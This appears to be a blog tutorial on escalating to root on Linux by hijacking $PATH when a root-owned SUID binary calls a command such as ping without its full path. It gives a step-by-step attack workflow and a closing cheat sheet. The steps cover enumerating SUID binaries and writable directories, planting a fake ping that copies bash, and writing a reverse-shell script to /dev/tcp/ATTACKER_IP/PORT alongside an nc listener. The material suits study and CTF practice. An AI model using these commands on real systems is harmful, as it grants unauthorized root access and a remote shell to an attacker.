Privilege Escalation via $PATH Hijacking and SUID Binaries

In this post, we’re diving into a classic privilege escalation trick that catches a lot of vulnerable systems (and beginner CTF players) off guard: abusing the $PATH environment variable to hijack execution flow in SUID binaries.

If you’re not looking closely, it’s easy to miss. But once you understand what to look for, you’ll start finding it everywhere.

The core idea behind this attack is simple:

In Linux, the $PATH environment variable tells the system where to look for executables when you type a command like ls, cp, ping, or anything else that isn’t specified with a full path (/bin/ls, /usr/bin/cp, etc).

Linux will search from left to right through the directories listed in $PATH and run the first match it finds.

Let’s say you find a root-owned binary with the SUID bit set. You dig into it using strings or reverse engineering, and you find this:

system("ping -c 1 127.0.0.1");

Here’s the mistake:
The developer used just "ping" instead of "/bin/ping".

Now if we, as low-privileged users, can:

  1. Drop our own fake ping binary
  2. Place it in a location that comes first in $PATH
  3. Run the SUID binary

…we’ll gain root privileges.

The SUID (Set User ID) bit tells Linux:

“Always execute this binary with the owner’s privileges, no matter who runs it.”

If that owner is root, and the binary is exploitable, that’s your foothold into root.

✅ QuestionWhy It Matters
Is the binary owned by root?Only root-owned SUIDs can give you privilege escalation.
Is the SUID bit set? (-rwsr-xr-x)Tells you if it will run with root’s permissions.
Does it call another binary without a full path?Opens the door for $PATH hijacking.
Can you write to a directory that’s in $PATH?So you can drop your malicious replacement.
If not, can you modify $PATH to include a directory you can write to?Still exploitable if environment isn’t cleaned.
find / -perm -4000 -user root -type f 2>/dev/null

These are your high-value targets.

Check for system calls using strings, ltrace, or ghidra.

Look for this:

system("command");

And NOT this:

system("/usr/bin/command");
echo $PATH
find / -type d -writable 2>/dev/null

Is any folder in $PATH writable?
Can you add a writable folder like /tmp to the front of $PATH?

For example, if ping is being called and /tmp is writable:

cp /bin/bash /tmp/ping
chmod +x /tmp/ping

Or make it spawn a reverse shell:

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /tmp/ping
chmod +x /tmp/ping
export PATH=/tmp:$PATH

Now Linux will look in /tmp first when resolving ping.

./vulnbin

If it’s root-owned and has the SUID bit, and it calls ping without specifying the full path, your /tmp/ping will be executed as root.

On your attacker machine:

nc -lvnp PORT

Root shell delivered.

CaseWhy It Fails
The binary uses full paths (e.g. /bin/ping)No $PATH hijack possible
The SUID bit is missingIt runs as your current user
The file is not owned by rootYou’ll escalate to that user, not root
No writable folders in $PATH and you can’t change itYou can’t place your malicious binary
The environment is sanitized (e.g. $PATH is reset internally)Your changes to $PATH won’t take effect
# Find SUID binaries owned by root
find / -perm -4000 -user root -type f 2>/dev/null

# Check for vulnerable system calls
strings /path/to/suid_binary | grep system

# Check writable folders and PATH
find / -type d -writable 2>/dev/null
echo $PATH

# Add writable folder to path
export PATH=/tmp:$PATH

# Create fake binary (example: ping)
cp /bin/bash /tmp/ping
chmod +x /tmp/ping

# Run the SUID binary
./vulnbin

This is a classic escalation vector that combines developer mistakes with environmental misconfigurations. It’s simple, elegant, and powerful — and still shows up in real-world systems more often than you’d expect.

Scroll to Top